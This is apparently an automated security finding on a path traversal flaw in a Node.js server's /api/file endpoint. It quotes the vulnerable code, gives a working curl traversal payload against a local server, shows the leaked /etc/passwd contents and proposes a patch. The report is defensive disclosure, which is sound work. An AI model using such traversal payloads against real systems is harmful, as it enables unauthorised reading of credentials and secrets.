Unauthenticated Path Traversal in /api/file Allows Arbitrary File Read
path-traversal · server.js:38-44
f87c6fc2fa by Macintosh1011 on 2026-05-30Summary
The /api/file handler in server.js reads the user-controlled `name` query parameter and passes it straight to path.join(__dirname, 'public', name) without normalizing the result or verifying it remains inside the public directory. Because path.join resolves '..' segments, a request such as /api/file?name=../../../../etc/passwd escapes the intended public/ directory and returns the contents of any file readable by the server process. The endpoint is expected to serve only files under ./public, but in practice it serves any file on the filesystem.
Impact. An unauthenticated remote attacker can read arbitrary files from the host with the privileges of the Node.js process — including application source code (server.js), configuration files, SSH keys, environment files, credentials, and system files like /etc/passwd. This typically leads to disclosure of secrets (DB passwords, API tokens, private keys) and is commonly chained into full server compromise.
Vulnerable code — server.js
🔴 if (parsed.pathname === "/api/file") {🔴 const name = q.name || "welcome.txt";🔴 fs.readFile(path.join(__dirname, "public", name), "utf8", (err, data) => {🔴 if (err) return send(res, 404, `not found: ${err.message}`);🔴 send(res, 200, data);🔴 });🔴 return;🔴 }
Working exploit
curl -s 'http://127.0.0.1:4600/api/file?name=../../../../../../../../../../etc/passwd'
Exploit transcript
HTTP 200 Content-Type: text/plain ## # User Database # # Note that this file is consulted directly only when the system is running # in single-user mode. At other times this information is provided by # Open Directory. # # See the opendirectoryd(8) man page for additional information about # Open Directory. ## nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false root:*:0:0:System Administrator:/var/root:/bin/sh daemon:*:1:1:System Services:/var/root:/usr/bin/false _uucp:*:4:4:Unix to Unix Copy Protocol:/var/spool/uucp:/usr/sbin/uucico _taskgated:*:13:13:Task Gate Daemon:/var/empty:/usr/bin/false _networkd:*:24:24:Network Services:/var/networkd:/usr/bin/false _installassistant:*:25:25:Install Assistant:/var/empty:/usr/bin/false _lp:*:26:26:Printing Services:/var/spool/cups:/usr/bin/false _postfix:*:27:27:Postfix Mail Server:/var/spool/postfix:/usr/bin/false _scsd:*:31:31:Service Configuration Service:/var/empty:/usr/bin/false _ces:*:32:32:Certificate Enrollment Service:/var/empty:/usr/bin/false _appstore:*:33:33:Mac App Store Service:/var/db/appstore:/usr/bin/false _mcxalr:*:54:54:MCX AppLaunch:/var/empty:/usr/bin/false _appleevents:*:55:55:AppleEvents Daemon:/var/empty:/usr/bin/false _geod:*:56:56:Geo Services Daemon:/var/db/geod:/usr/bin/false _devdocs:*:59:59:Developer Documentation:/var/empty:/usr/bin/false _sandbox:*:60:60:Seatbelt:/var/empty:/usr/bin/false _mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false _ard:*:67:67:Apple Remote Desktop:/var/empty:/usr/bin/false _www:*:70:70:World Wide Web Server:/Library/WebServer:/usr/bin/false _eppc:*:71:71:Apple Events User:/var/empty:/usr/bin/false _cvs:*:72:72:CVS Server:/var/empty:/usr/bin/false _svn:*:73:73:SVN Server:/var/empty:/usr/bin/false _mysql:*:74:74:MySQL Server:/var/empty:/usr/bin/false _sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false _qtss:*:76:76:QuickTime Streaming Server:/var/empty:/usr/bin/false _cyrus:*:77:6:Cyrus Administrator:/var/imap:/usr/bin/false _mailman:*:
Confirmed: path traversal confirmed — /etc/passwd contents leaked
CVSS v3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N→ 7.5 (high)Recommended fix
AI-suggested fix — review before applying (derived from analysis of untrusted repo content):
Normalize the resolved path and verify it stays within the public directory before reading:
--- a/server.js
+++ b/server.js
@@
if (parsed.pathname === "/api/file") {
const name = q.name || "welcome.txt";
- fs.readFile(path.join(__dirname, "public", name), "utf8", (err, data) => {
+ const publicDir = path.resolve(__dirname, "public");
+ const target = path.resolve(publicDir, name);
+ if (target !== publicDir && !target.startsWith(publicDir + path.sep)) {
+ return send(res, 400, "invalid name");
+ }
+ fs.readFile(target, "utf8", (err, data) => {
if (err) return send(res, 404, `not found: ${err.message}`);
send(res, 200, data);
});
return;
}
Alternatively, strip path separators from `name` (e.g., reject any value containing '/', '\\', or '..') before joining.Ship the fix
Rook found it and proved it. Hand the finding — with its working exploit as a failing test — to Otis to write the fix PR.